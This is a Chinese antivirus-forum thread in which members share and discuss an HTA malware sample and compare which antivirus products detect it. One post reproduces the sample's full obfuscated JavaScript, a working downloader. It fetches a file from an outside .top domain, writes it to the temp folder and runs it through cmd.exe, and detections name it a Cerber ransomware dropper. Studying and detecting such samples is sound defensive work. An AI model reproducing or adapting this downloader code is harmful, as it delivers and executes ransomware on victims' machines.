查看: 2973|回复: 12
收起左侧

[病毒样本] 1x

[复制链接]
轩夏
发表于 2016-8-12 16:29:08 | 显示全部楼层 |阅读模式
新模式,hta后缀,使用html 应用程序启动。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
欧阳宣
头像被屏蔽
发表于 2016-8-12 16:41:58 | 显示全部楼层
本帖最后由 欧阳宣 于 2016-8-12 17:01 编辑

用Vivaldi打开了html,未见反应
过一阵子杀了dll

Threat:        Malware.3D1C29E8
Source:        Threat
Affected Files:        D:\Virus\OutSupport.dll
Response:        Removed
Detected By:        Real Time Scan

@尘梦幽然  @驭龙  见过这报法么?
xyz0703
发表于 2016-8-12 16:42:17 | 显示全部楼层
卡巴扫描miss
ELOHIM
发表于 2016-8-12 17:19:56 | 显示全部楼层
本帖最后由 ELOHIM 于 2016-8-12 17:24 编辑


[mw_shl_code=html,true]try {
        var xocixvoxfe3 = {
                9110: 'arryxvigo',
                qbulkonh: 21103,
                5731: 91647,
                14966: 'pevwytteqd',
                nwetqypz: 43033,
                10842: 'ufjonlorpe',
                1877: ".XM",
                mroquk: 'uhywyj'
        };

        function awconazuwe4() {
                return {
                        9287: 12196,
                        vodi: 56084,
                        ettuwo: "Scrip",
                        ehyja: 'umywkylho',
                        ewmut: 54696,
                        8554: 'odaztose',
                        14960: 'azatgisdi',
                        13423: 'ysyhju'
                }["ettuwo"];
        }
        function ixexxuhbu8() {
                var akefdibpa9 = {
                        11652: 56108,
                        6037: "Open",
                        5171: 73114,
                        ipold: 38832,
                        sonsit: 'ihajolci',
                        7815: 30099,
                        14560: 56437,
                        aviqli: 'bunoqxul',
                        13557: 97986,
                        zzemywr: 'fbetvuxdi',
                        7929: 31777,
                        daqzo: 70145
                }["6037"];
                return akefdibpa9;
        }
        var benunujc0 = {
                wxixec: 72285,
                1425: 89867,
                7790: 33757,
                zqapnohm: 67485,
                5694: 'eggefu',
                7028: 'ozopecm',
                eblek: 51585,
                8517: 'alivkixp',
                1019: 99939,
                erob: 'naphybtit',
                bofsa: 44066,
                11887: "run"
        };
        var cocsojdar0 = {
                iwugo: 57969,
                ovjuz: "r",
                1955: 17276,
                osig: 'nobryg',
                5255: 'omuwunx',
                upqago: 87024,
                yrjinu: 'ngofxoneq',
                bibij: 'hrefmoq',
                dwonlywl: 'bvuclyq'
        };
        var iboqufykwu7 = {
                9000: 99243,
                7755: 'iwmofasmi',
                3020: 67301,
                6410: 'xexvask',
                oqtym: 81077,
                ulecto: 45291,
                3121: 27548,
                12979: 21963,
                qwajyw: "type"
        };

        function yzewyrin6() {
                return {
                        11661: 79920,
                        6736: 68129,
                        uwef: "Resp",
                        ducgoc: 36822,
                        1482: 51435,
                        12417: 49153,
                        gqevhejk: 92023,
                        otvigwo: 43485,
                        ulib: 57549,
                        ksagobm: 82346,
                        1853: 75336
                }["uwef"];
        }
        function dbajzywj0() {
                var tohdu2 = {
                        taqy: 'pervaxet',
                        igfyzy: 17929,
                        abjefy: 33015,
                        wygju: 52857,
                        11243: 63685,
                        8340: 'zpaxeci',
                        bxige: 'diragtovt',
                        1343: 'yllywecbe',
                        8133: 32803,
                        2228: "ct",
                        adxuzp: 'wzovuxva',
                        5404: 'olyla'
                }["2228"];
                return tohdu2;
        }
        var bitcigcyq0 = {
                ywpox: 14242,
                8174: 'sfulgufx',
                9540: 'yxynezh',
                7623: 'ihfelbizme',
                idiqo: 64673,
                14693: "In",
                gokyt: 'ynitvift',
                12146: 25721,
                2099: 55431,
                6962: 'makqeru'
        };
        var bicsub6 = {
                ysuri: 94898,
                wyvyl: "teOb",
                11618: 45220,
                iprolj: 17633,
                11957: 91129,
                arzokbo: 'lfoweho',
                egom: 'owalogna',
                edopw: 78939,
                ixbagz: 'aqobuh',
                boty: 'uhwowca',
                ykwodr: 91733
        };

        function ymmojcupvux9() {
                return {
                        7850: "am",
                        5579: 39735,
                        3026: 43839,
                        12296: 95976,
                        14993: 'iptyvqofro',
                        3978: 'wnykbobeg',
                        14886: 'hleqwoci',
                        9722: 'ynypyqa',
                        9447: 'owtoqa',
                        11161: 75200
                }["7850"];
        }
        function utkuth0() {
                return {
                        7056: 'esytsik',
                        vcohy: "cia",
                        ygucj: 32866,
                        12551: 33461,
                        14713: 'ahtohohwa',
                        qmopwod: 'ilqolfavpy',
                        9850: 56087,
                        obeqo: 48417
                }["vcohy"];
        }
        var isbarwyveq5 = {
                6280: 47633,
                2462: 40033,
                anadba: 37571,
                7832: 42227,
                wliqu: 'budafvaz',
                pbivdo: 52272,
                13228: 70085,
                2398: "leSyst",
                9632: 'gxudupm',
                3053: 24053,
                5486: 37723
        };

        function usfaslogpewcu6() {
                var wiknar1 = {
                        4259: 'uzizve',
                        tinub: 'lqyvybr',
                        yxdadko: ".Stre",
                        edcyrk: 68231,
                        3177: 'edjogoc',
                        8468: 'ktysod',
                        11718: 'imavo',
                        ozefd: 'zqatasfa'
                };
                var evevvu0 = wiknar1["yxdadko"];
                return evevvu0;
        }
        function tbapfyxatnu4() {
                var mizhozaj9 = {
                        wloti: 'ifosjav',
                        amerk: 'emykqusx',
                        prosxu: 'cjipquqe',
                        ezqijz: 90232,
                        1832: 'jiqygmu',
                        jzyzi: 'zrenoswe',
                        yprypqy: 'oxdudkuw',
                        fohqihj: "lde"
                }["fohqihj"];
                return mizhozaj9;
        }
        var ylsuzv4 = {
                6138: "Colu",
                ahobj: 56722,
                10495: 96433,
                ejsundy: 'ylyrletle',
                nosa: 'zapyle',
                5920: 'honydca',
                8546: 'esgytugbi',
                11424: 41857,
                5214: 'sxupkor'
        };
        var rtuhotti7 = {
                pishuqw: "rip",
                5589: 'feduggis',
                bewyqm: 54962,
                agelli: 70592,
                7378: 'zyfeda',
                ozrawi: 37800,
                7006: 55277,
                ixlopy: 'hfefynynf',
                14192: 'ildirwi',
                10096: 45376
        };
        var ubucwuhyxa5 = {
                sciczu: 67715,
                lxulty: 'atuwiqo',
                7016: 'uldipjusi',
                isfiby: 'icevuxg',
                7750: 'vojcoga',
                xlemo: "MSX",
                ypofx: 53366,
                1663: 14879,
                ihoc: 'otydusk'
        };

        function ghyvzoxbawpu1() {
                return {
                        10682: 'hugihe',
                        7687: 24525,
                        exfubso: 'exorycf',
                        4910: 'yxkajgig',
                        gdysiqz: 'qeqabaj',
                        vmisnogb: 'rwudefqys',
                        ydivca: "mpNam",
                        odmakwa: 16051,
                        zletbukh: 'epusgaqb',
                        2270: 69930,
                        12024: 'ubyxeru'
                }["ydivca"];
        }
        function wanypli2() {
                var adrorry5 = {
                        10233: 'reradku',
                        iksonlu: 65206,
                        11390: "Crea",
                        awuxlu: 'ittyfuxg',
                        lixyks: 25300,
                        10993: 'awxegmo',
                        zpoba: 86497,
                        11406: 'qywasxedt'
                }["11390"];
                return adrorry5;
        }
        function wgodolale0() {
                var gliwka1 = {
                        zilqywx: 'ebjolrijc',
                        14823: 99168,
                        4072: "LHT",
                        hefeb: 'epyzna',
                        12939: 80663,
                        7846: 'nivubybl',
                        4733: 'julqylrak',
                        6213: 'vhutvac',
                        2292: 'uwilu',
                        7623: 20225,
                        ivep: 'amsuza'
                }["4072"];
                return gliwka1;
        }
        var pigdaf0 = {
                10960: 42008,
                5076: 'hmopejob',
                ubhyzpo: 95484,
                10519: 'ewvacapn',
                1143: 21091,
                12295: 20942,
                1734: 31259,
                7533: 30644,
                bfihwyq: " ",
                injumku: 'yqdorod',
                cozbepq: 'aquqi',
                erudlo: 58498
        };
        var zzihyfu8 = {
                11810: 88169,
                hijydj: 'ztulpow',
                siji: "pt.Sh",
                xsibaq: 'ovcezo',
                9014: 'anlehe',
                amsodbi: 'ciqbubk',
                rtobu: 54673,
                oqpypy: 'wgulazv',
                8907: 65113,
                ujixz: 'zreplivm',
                12155: 31058
        };

        function ajbevnalaty3() {
                return {
                        4975: 'ehsyntybno',
                        9651: 'pylobqyjz',
                        uvisg: 'wilokv',
                        agwyza: 83591,
                        ukpez: 60923,
                        uxvyxi: "Name",
                        12752: 75322,
                        6263: 67838,
                        jepju: 'boxihhidr'
                }["uxvyxi"];
        }
        function izyrishafa8() {
                var fxytcuwyn0 = {
                        13305: 'iratixg',
                        yruhp: 13376,
                        grosxyc: 24690,
                        12177: 76381,
                        7142: 70688,
                        11732: 81174,
                        bovso: 63291,
                        htupxo: 40486,
                        2423: "1",
                        lono: 'ervekveq',
                        fwedofb: 24510
                };
                var zudje2 = fxytcuwyn0["2423"];
                return zudje2;
        }
        var esocavi8 = {
                11332: 93686,
                kpulhexl: 'emninram',
                7377: 29530,
                othem: 'jkyvmezzul',
                11242: 'xosvajzur',
                mafab: 75547,
                1486: 'mnikislo',
                2547: "en",
                9869: 'ujujaze'
        };

        function emymovhid0() {
                var amkitmi9 = {
                        14192: 90813,
                        7041: 16531,
                        4426: 'oqpave',
                        odhevg: 'elirhetfi',
                        espoj: 'mylbempu',
                        yhgyrfa: "Std",
                        cliswojq: 'ihedu',
                        bwaqu: 72581,
                        yzlyfcu: 'ufine',
                        isale: 'imhijfafu'
                };
                var odxifwecky2 = amkitmi9["yhgyrfa"];
                return odxifwecky2;
        }
        var ihkixidof1 = {
                11258: 'fficedyh',
                12840: 19977,
                ozcako: "T",
                4168: 75502,
                8329: 'rwabjimpe',
                txuhins: 'oznipbynt',
                ivcuvt: 30545,
                8429: 'bopafa',
                2291: 'rzoclefha'
        };

        function ggifeb6() {
                return {
                        3293: 'enopdu',
                        ekref: 'uflypyze',
                        8174: 'ukuqihn',
                        yfpapg: "e",
                        pejvu: 21141,
                        udyhme: 42416,
                        aregle: 'wuzurb',
                        danoz: 'fvikiri',
                        3255: 58477,
                        rivojg: 34694,
                        8091: 'gdagvazibj'
                }["yfpapg"];
        }
        function asehoj3() {
                var qkulvumge6 = {
                        11522: 'asocxisco',
                        htazy: 'tkowsakp',
                        5561: 'ajbuhna',
                        7688: 53182,
                        11353: 50705,
                        ahrykgu: 'qvicxukw',
                        nusu: 'ovvodi',
                        ojicy: 40408,
                        10120: 'yfopel',
                        cahqidp: "e",
                        1023: 'tirnur'
                }["cahqidp"];
                return qkulvumge6;
        }
        function xulxopdusu2() {
                return {
                        kvonlyc: "cmd.e",
                        ygecje: 'affawze',
                        8948: 'ncelerm',
                        11130: 'ykupylu',
                        2393: 73291,
                        mwedzo: 'ipjudgoqz',
                        5986: 24038,
                        fziwo: 46960,
                        pgyfa: 'etpuqcihi',
                        10599: 36570,
                        acubbu: 62440,
                        2150: 'xubjet'
                }["kvonlyc"];
        }
        var tmazbo6 = {
                14915: 35010,
                10110: 'ytsefxosf',
                14268: 33991,
                ursuzu: "Spe",
                12636: 22999,
                12120: 'ubmorgumd',
                12665: 'hqukmegbi',
                2731: 42043,
                kcopul: 'wovyclu',
                dyvuf: 'iltosxybu',
                mvobqum: 'ralmomhyp'
        };

        function uzyn5() {
                var bmuqruvso5 = {
                        ebzicq: 'jcagsyd',
                        issuc: 98506,
                        azop: 67495,
                        4795: "e",
                        xakidc: 94750,
                        egol: 'filpurovz',
                        5368: 94209,
                        1581: 87346,
                        epupl: 'fkebwawbazs',
                        3179: 'lqihycr'
                }["4795"];
                return bmuqruvso5;
        }
        var nusgajxafje0 = {
                5851: 'jurib',
                tlygqa: 'mmevyqjy',
                lpagbi: 'yntyli',
                10925: 'lyseprekp',
                13418: 76697,
                ukhihc: 'mmetylh',
                sabhefs: "Writ",
                peferk: 50011,
                ksomqow: 'oqagje',
                ahnely: 'azranky'
        };
        var qixkuj7 = {
                egynhe: 40851,
                4146: 84459,
                exbyri: 'bvybyn',
                hboje: "emObje",
                8116: 'tgekylu',
                binavf: 93042,
                rbottud: 'nkiltuxnu',
                pgogabv: 'rofwejz',
                5134: 'ytnoby',
                xaxle: 35239
        };
        var ecqyq0 = {
                qaly: 'hadtog',
                5988: 75883,
                13320: 'akuzylvu',
                tkyxbukv: 91398,
                13414: "ell",
                14953: 'ojnokhe',
                1334: 78226,
                ecxehfo: 18298,
                2048: 10440
        };
        var uzimejsi0 = {
                imbesg: 93512,
                icim: 11078,
                puswy: "op",
                ajvate: 'hbefjef',
                1464: 'jwebbacmo',
                baju: 69688,
                10865: 'bnilolu',
                wdudru: 11426,
                6867: 'owakot',
                ymqat: 'rconeqsuw',
                13078: 45639,
                9613: 'idowlozjy'
        };
        var edmudob0 = {
                9003: 'gajeloct',
                11814: 'utylxanpo',
                nxygke: 'ybovur',
                8889: 'camvete',
                14922: "GetTe",
                1750: 'ufizgotge',
                icvuwi: 'alcuhavz',
                7625: 'xmijoby',
                7164: 64561
        };
        var fitwa8 = {
                bqamde: 'woqlibp',
                13327: 15199,
                bxanebj: 'dlabpipbec',
                icefu: 85802,
                12766: 'ivnucgigt',
                umys: 64771,
                10079: 40623,
                rrulo: 67913,
                13580: 'xukqatolc',
                13828: 92466,
                1145: 'alryput',
                1839: "thi"
        };

        function emlic3() {
                var ulwoxvoj0 = {
                        4250: 'qeromp',
                        2029: "Script",
                        3632: 'ijbymdy',
                        14865: 27272,
                        ukizz: 56015,
                        nbeke: 22128,
                        2744: 38663,
                        gula: 'oqpuke'
                }["2029"];
                return ulwoxvoj0;
        }
        function yvryrqunivza7() {
                var ochoworf7 = {
                        1399: 'gbesep',
                        3854: "lFo",
                        9017: 98959,
                        7063: 43194,
                        ofuf: 51863,
                        falnis: 74644,
                        rcoma: 69551,
                        9289: 'atavbym',
                        djobqe: 20081,
                        bocqa: 'vpasapedw',
                        11277: 62696
                }["3854"];
                return ochoworf7;
        }
        var lfegxyki0 = {
                panax: 'bosofahw',
                yrusj: 'ltosujywg',
                elpety: 63590,
                7110: 61881,
                basha: 'gzyvjas',
                14137: 'xahdogi',
                snommiv: 'jivqyffa',
                7702: 22022,
                12609: 'tihzyp',
                ozmolra: 50130,
                pediq: "0"
        };

        function hajcabkosji8() {
                var myge9 = {
                        5740: 58778,
                        elqidy: 82885,
                        2673: 67802,
                        onitwe: "s",
                        hvuhje: 53062,
                        ypquwi: 45186,
                        3122: 71996,
                        ajxog: 'qapseme',
                        rykgyj: 'eldimyco'
                }["onitwe"];
                return myge9;
        }
        var tlewfuz8 = {
                2495: 'tuzribxax',
                7398: 91308,
                uzyk: 45794,
                oxpybr: "ADODB",
                14102: 'ganagef',
                12684: 'urugohhi',
                akaxg: 23535,
                azyvce: 'esmenly',
                12007: 66357
        };

        function lcoty6() {
                var gudke1 = {
                        sevxytl: 31718,
                        9904: 61131,
                        5490: 38973,
                        apdezta: "eTo",
                        1748: 'csazode',
                        7452: 28730,
                        11546: 'surmapy',
                        8450: 'ohelnispi'
                }["apdezta"];
                return gudke1;
        }
        function lcuhcavabje0() {
                var axcyzvisje2 = {
                        buxug: 'nadowtot',
                        2205: 45274,
                        4000: 83311,
                        behbo: 'uflogez',
                        okurw: 12225,
                        11346: 'zavugm',
                        7207: 'aqryltog',
                        4026: 'ukvequd',
                        hywpuzp: "os",
                        5027: 'swihjux'
                };
                var adbehn5 = axcyzvisje2["hywpuzp"];
                return adbehn5;
        }
        var cidqe7 = {
                anlir: 'plevpepf',
                14308: 'tfugirsym',
                upqiv: 77652,
                vrowjus: 81593,
                yhhiwd: 12943,
                5435: 'ibficrily',
                12944: 20424,
                1148: 16414,
                3530: 'yrtighyp',
                yrrubve: "Cl",
                ojahr: 13891,
                isagh: 93297
        };
        var ofjyjud0 = {
                3865: 'byjvogj',
                bpaku: 78558,
                11098: 51452,
                iqiks: 'huvikosk',
                8160: 'xahcibvi',
                11348: 87094,
                12890: 82423,
                yxeld: 21966,
                6105: 41481,
                5130: "onse"
        };

        function cogbukbajyr5() {
                var bnykir0 = {
                        lcywyc: 'izcesgi',
                        3943: 'wamun',
                        11490: 77317,
                        7753: 16383,
                        14622: 'evlaqygdo',
                        rolxo: 48550,
                        acasw: "Body",
                        11586: 61787,
                        13732: 'akdoxbyhho',
                        8601: 'mjocyrvug'
                };
                var vjixu1 = bnykir0["acasw"];
                return vjixu1;
        }
        var lxezmenarza4 = {
                4191: "ing.Fi",
                1912: 24465,
                14722: 'arsenob',
                lfuhvo: 'pkyvaqy',
                uquwqi: 83494,
                aqmoc: 'uweda',
                12821: 'bejcyf',
                4450: 'kotjyqg'
        };
        var vhodes5 = {
                acxusd: 'ypvinegf',
                2341: 95330,
                1801: 20646,
                lofu: 'qpocaqim',
                ivmyle: 'yfsuki',
                7343: 80299,
                1509: 21609,
                9874: 'ingalvasvy',
                bpejyn: 99677,
                fulvoqq: 'ocmobukt',
                13573: "GE",
                14867: 71118
        };

        function rumneky0() {
                var pavne7 = {
                        dlerpa: 'wejasko',
                        10090: 93399,
                        hikwan: 'ehfamfe',
                        gimetn: 76302,
                        13244: 'opywcypdy',
                        10412: "mn",
                        14136: 'koxovl',
                        11653: 'jolobru',
                        5575: 77842,
                        wjuwqo: 45369
                };
                var etaguca8 = pavne7["10412"];
                return etaguca8;
        }
        function stunbiso7() {
                return {
                        bobco: 'uvykawga',
                        ydemf: 'nyjobu',
                        obmapo: "ject",
                        rlafqo: 'ozate',
                        xecyp: 84867,
                        imzoc: 'tzukurqes',
                        inmekr: 'xliglotil',
                        lqappi: 'hufoqmy',
                        uheq: 'izyjve',
                        msijy: 'anibag',
                        ajkimqa: 17904
                }["obmapo"];
        }
        function sjonxoli8() {
                var omvugapli0 = {
                        kajsydt: 'zqaxcike',
                        edvyzs: 'vmaguvutw',
                        usyhdo: 68404,
                        pacgew: 19953,
                        6754: 'tnenxulxe',
                        12150: 'ymaty',
                        13280: 'boptor',
                        ebbulo: 89421,
                        7772: 'omemyb',
                        12451: "TP",
                        ujuj: 52266,
                        14306: 'havecni'
                }["12451"];
                return omvugapli0;
        }
        var ekox2 = {
                1903: 12294,
                1694: 'ostybqasd',
                1703: 69440,
                cedmyn: 49296,
                13894: 54158,
                1726: 75072,
                7815: "e",
                mynre: 'wcoqxiwopq',
                ysmom: 73268,
                dfusorb: 56706
        };

        function jwajfomoma8() {
                return {
                        jdyky: 75097,
                        9835: "Get",
                        8451: 28095,
                        5966: 99606,
                        myjcish: 'aficdomve',
                        2056: 87720,
                        2953: 'ydgimkolw',
                        13562: 'imgujyja',
                        yjfaqi: 'gtotygfo',
                        vruwre: 82712,
                        utobh: 29049,
                        pocci: 'itquwgymta'
                }["9835"];
        }
        function arfevw8() {
                return {
                        10595: 'ucqulkunq',
                        obazu: 70775,
                        ybewi: 'axzibjynb',
                        1146: 'otdifub',
                        xoxyxh: 'fvuxlanpu',
                        5198: "xe /c",
                        11254: 74949,
                        wpunciw: 30255,
                        13155: 'ytimugd',
                        8622: 'ofjisi'
                }["5198"];
        }
        function ytos5() {
                var ulladu5 = {
                        5766: 99845,
                        yguco: 17770,
                        iwygv: "WScri",
                        6322: 15240,
                        1831: 98279,
                        kadpusv: 29550,
                        7296: 'ehjikbubte',
                        4250: 'mronolad'
                };
                var afcotc9 = ulladu5["iwygv"];
                return afcotc9;
        }
        var pyxep6 = {
                xrukgym: 'jodubfi',
                mbebevs: 13860,
                5674: 'qexkil',
                13841: 35092,
                2836: 'unmupuwja',
                6134: 'ukazci',
                vysler: 'qrompyb',
                kejto: "ML2",
                yqilqe: 32425,
                10020: 46382
        };

        function pogxy6() {
                return {
                        9909: "Fil",
                        ezomg: 'ilnojcaqs',
                        5957: 'ohykxe',
                        vqicze: 'ubnynadn',
                        2568: 35021,
                        ijetzu: 'afcucce',
                        omwylfy: 54512,
                        ebnag: 30340,
                        1112: 97914
                }["9909"];
        }
        var irnusgihag9 = {
                exxeqcu: 86592,
                cqipaw: 76353,
                5267: 33980,
                smedjef: 17316,
                2884: 50882,
                10096: 71651,
                14189: "send",
                7314: 'fufmeb'
        };
        var ocgokanekno9 = {
                14921: 88275,
                kanlibf: 'bnijtoggik',
                yswyji: 41789,
                11436: 57132,
                ulnis: 'wosoqo',
                holapd: 58225,
                12737: 'fmucardi',
                eqset: "t",
                9814: 'ifdijzo',
                suxfy: 22878
        };

        function yndusnukov0() {
                var kkelove9 = {
                        2357: 29831,
                        14332: 99274,
                        alvymlo: 92188,
                        2325: 45113,
                        adgeb: 45222,
                        qomne: 'vizybit',
                        rcepgyv: 'ygtugyce',
                        zhuzwa: 'ocjehycs',
                        5230: "tFull",
                        11325: 88957,
                        12894: 'lqurizce',
                        rose: 'lvejyf'
                }["5230"];
                return kkelove9;
        }
        function jexyvudd2() {
                var futjasu9 = {
                        2136: 'yntupnoqv',
                        12050: 'jelpemgu',
                        yqrihy: 'qjifommys',
                        8908: 'mnifulo',
                        ynis: 'ehbibvijxe',
                        ppatba: 44147,
                        enap: 'riqqanx',
                        ebheq: "WSc"
                };
                var ozidi7 = futjasu9["ebheq"];
                return ozidi7;
        }
        var czupneca0 = {
                nehpydh: 67264,
                uwrogmy: 69451,
                3880: 38307,
                8141: 'adzuli',
                3337: 'bnebarv',
                11437: 67673,
                cecynj: 70781,
                tfaffozm: 'uvecu',
                lbitbi: 'opapo',
                10139: "2",
                8648: 'qlabtafu',
                3590: 38540
        };
        var hlicmehda0 = {
                djako: 'amfekijwi',
                hdyzi: 33507,
                dkicyh: 'dnesubuk',
                8184: 'rybluk',
                ybagp: "Sav",
                typkojz: 37143,
                5591: 'avivi',
                qoxlu: 'elfysgiqo'
        };

        function ivuqysruzi7() {
                var adqusxatbyj8 = ylsuzv4["6138"];
                var ydroqamyq5 = rumneky0();
                var yfogme6 = adqusxatbyj8 + ydroqamyq5;
                return yfogme6;
        }
        function ombikqixfozty5() {
                var ccagtivajca0 = awconazuwe4();
                var ipbotlagvix4 = yndusnukov0() + ajbevnalaty3();
                var cokok0 = ccagtivajca0 + ipbotlagvix4;
                return cokok0;
        }
        function esfumsykc8() {
                var ahkam8 = ytos5();
                var ytimahsaqr4 = zzihyfu8["siji"] + ecqyq0["13414"];
                var mruvvivfy8 = ahkam8 + ytimahsaqr4;
                return mruvvivfy8;
        }
        function rzafyne0() {
                var spadwipwyvc0 = benunujc0["11887"];
                return spadwipwyvc0;
        }
        function ehaxde8() {
                var ufwezzohrukte6 = jwajfomoma8() + tmazbo6["ursuzu"];
                var posuxus3 = utkuth0() + yvryrqunivza7() + tbapfyxatnu4() + cocsojdar0["ovjuz"];
                var owhuclysny2 = ufwezzohrukte6 + posuxus3;
                return owhuclysny2;
        }
        function afokona2() {
                var wlanassaga1 = jexyvudd2();
                var axjarowl2 = rtuhotti7["pishuqw"] + ocgokanekno9["eqset"];
                var irok2 = wlanassaga1 + axjarowl2;
                return irok2;
        }
        function kqixyridarf0() {
                var dtudydu8 = xulxopdusu2();
                var ajbum0 = arfevw8() + pigdaf0["bfihwyq"];
                var pbarelkap1 = dtudydu8 + ajbum0;
                return pbarelkap1;
        }
        function rnaxlosunu4() {
                var lsavse0 = vhodes5["13573"];
                var tkecfi7 = ihkixidof1["ozcako"];
                var orylodt4 = lsavse0 + tkecfi7;
                return orylodt4;
        }
        function ifogypga7() {
                var unufa2 = uzimejsi0["puswy"];
                var uwkir6 = esocavi8["2547"];
                var lzydexorsazj9 = unufa2 + uwkir6;
                return lzydexorsazj9;
        }
        function wvafxabo4() {
                var dginnydly2 = ubucwuhyxa5["xlemo"] + pyxep6["kejto"] + xocixvoxfe3["1877"];
                var ducxoz5 = wgodolale0() + sjonxoli8();
                var aljewyk0 = dginnydly2 + ducxoz5;
                return aljewyk0;
        }
        function zesixadam6() {
                var xilra5 = czupneca0["10139"];
                return xilra5;
        }
        function efposadco2() {
                var vjaquhwyto6 = wanypli2();
                var rbiqmu3 = bicsub6["wyvyl"] + stunbiso7();
                var wvamu8 = vjaquhwyto6 + rbiqmu3;
                return wvamu8;
        }
        function qfujfucrocup9() {
                var ehocez9 = iboqufykwu7["qwajyw"];
                return ehocez9;
        }
        function ovgim4() {
                var homugy0 = cidqe7["yrrubve"];
                var qbyfzi7 = lcuhcavabje0() + ggifeb6();
                var nemqu0 = homugy0 + qbyfzi7;
                return nemqu0;
        }
        function pjytotavi7() {
                var hedo4 = yzewyrin6();
                var ibeqocki5 = ofjyjud0["5130"] + cogbukbajyr5();
                var mcyfefiqo7 = hedo4 + ibeqocki5;
                return mcyfefiqo7;
        }
        function lbulirdi2() {
                var mhorlujhifuzd9 = emymovhid0();
                var ewifdiwz0 = bitcigcyq0["14693"];
                var newmuhsune3 = mhorlujhifuzd9 + ewifdiwz0;
                return newmuhsune3;
        }
        function uweglecinb7() {
                var awtupl2 = edmudob0["14922"];
                var akbeg6 = ghyvzoxbawpu1() + uzyn5();
                var gancebciqza9 = awtupl2 + akbeg6;
                return gancebciqza9;
        }
        function iwsullyxo3() {
                var uqotatoru8 = ixexxuhbu8();
                return uqotatoru8;
        }
        function ifek7() {
                var pbaspijpywbu1 = irnusgihag9["14189"];
                return pbaspijpywbu1;
        }
        function ycybtiwgy8() {
                var akuki0 = izyrishafa8();
                return akuki0;
        }
        function iqruwyjakpo5() {
                var yqkupdo7 = fitwa8["1839"];
                var yrupratsek8 = hajcabkosji8();
                var rjixo0 = yqkupdo7 + yrupratsek8;
                return rjixo0;
        }
        function edlehmurmo6() {
                var fxulatcaqp9 = hlicmehda0["ybagp"];
                var upapyflugk0 = lcoty6() + pogxy6() + ekox2["7815"];
                var hilazxi6 = fxulatcaqp9 + upapyflugk0;
                return hilazxi6;
        }
        function epbapk9() {
                var tetsariqpe0 = lfegxyki0["pediq"];
                return tetsariqpe0;
        }
        function izhuqjuxfarmy0() {
                var iguwxebsibh8 = emlic3() + lxezmenarza4["4191"];
                var nukignox0 = isbarwyveq5["2398"] + qixkuj7["hboje"] + dbajzywj0();
                var pepxexqigz8 = iguwxebsibh8 + nukignox0;
                return pepxexqigz8;
        }
        function hcadoke2() {
                var osemudtigce6 = tlewfuz8["oxpybr"];
                var tbycehnidu1 = usfaslogpewcu6() + ymmojcupvux9();
                var ovxozurno4 = osemudtigce6 + tbycehnidu1;
                return ovxozurno4;
        }
        function botwikecqilb1() {
                var rhipbuqcoticw4 = nusgajxafje0["sabhefs"];
                var yhemocmox5 = asehoj3();
                var fdunsa4 = rhipbuqcoticw4 + yhemocmox5;
                return fdunsa4;
        }
        var irhobahofgo1 = eval(iqruwyjakpo5())();
        uzuxgy2 = irhobahofgo1[afokona2()];
        owwaxefvo3 = uzuxgy2[efposadco2()](izhuqjuxfarmy0());
        ipanxi4 = uzuxgy2[efposadco2()](esfumsykc8());
        if (uzuxgy2[lbulirdi2()][ivuqysruzi7()]) {
                cyqsuzp0 = uzuxgy2[efposadco2()](wvafxabo4());
                cupadgeds1 = uzuxgy2[efposadco2()](hcadoke2());
                dosimh5 = owwaxefvo3[ehaxde8()](zesixadam6());
                ejyxabe5 = owwaxefvo3[uweglecinb7()]();
                uhpafin3 = cyqsuzp0[ifogypga7()](rnaxlosunu4(), "http://kolyhazunwyhce6ru.top/log.php?f=400", epbapk9());
                uhpafin3 = cyqsuzp0[ifek7()]();
                cupadgeds1[qfujfucrocup9()] = ycybtiwgy8();
                azunwyhce6 = cyqsuzp0[pjytotavi7()];
                uqzody5 = uzuxgy2[ombikqixfozty5()];
        }
        uhpafin3 = cupadgeds1[iwsullyxo3()]();
        uhpafin3 = cupadgeds1[botwikecqilb1()](azunwyhce6);
        uhpafin3 = cupadgeds1[edlehmurmo6()](dosimh5 + ejyxabe5);
        uhpafin3 = cupadgeds1[ovgim4()]();
        uhpafin3 = ipanxi4[rzafyne0()](kqixyridarf0() + dosimh5 + ejyxabe5, epbapk9());
} catch (e) {}
[/mw_shl_code]
我来扒皮。
赛门铁克 SEP 扫描不报。
Johnkay.Young
发表于 2016-8-12 17:21:18 | 显示全部楼层
Avira:

Clean

to Avira
轩夏
 楼主| 发表于 2016-8-12 17:23:02 | 显示全部楼层
ELOHIM 发表于 2016-8-12 17:19
赛门铁克 SEP 扫描不报。

还是我大 MSE 牛逼

2.hta
Infected: TrojanDownloader:JS/Swabfex.C
Johnkay.Young
发表于 2016-8-12 17:24:51 | 显示全部楼层
轩夏 发表于 2016-8-12 17:23
还是我大 MSE 牛逼

2.hta

ms收集样本真是杠杠的。
ELOHIM
发表于 2016-8-12 17:26:59 | 显示全部楼层
本帖最后由 ELOHIM 于 2016-8-12 17:29 编辑
轩夏 发表于 2016-8-12 17:23
还是我大 MSE 牛逼

2.hta



MSE系统自带的而已。

不过我主机只有这货

瑞星(Rising)Downloader.Cerber!1.A59C
2016-08-12
微软(MSE)TrojanDownloader:JS/Swabfex.C
2016-08-12
IKARUSTrojan-Downloader.JS.Swabfex
2016-08-12

驭龙
发表于 2016-8-12 18:09:50 | 显示全部楼层
欧阳宣 发表于 2016-8-12 16:41
用Vivaldi打开了html,未见反应
过一阵子杀了dll

没见过蛐蛐有这种报法,莫非是传说中的机器学习?不清楚,我现在没有用蛐蛐
尘梦幽然
发表于 2016-8-12 18:57:26 | 显示全部楼层
欧阳宣 发表于 2016-8-12 16:41
用Vivaldi打开了html,未见反应
过一阵子杀了dll

有啊,挺早以前就有了
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-5-14 09:17 , Processed in 0.129036 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表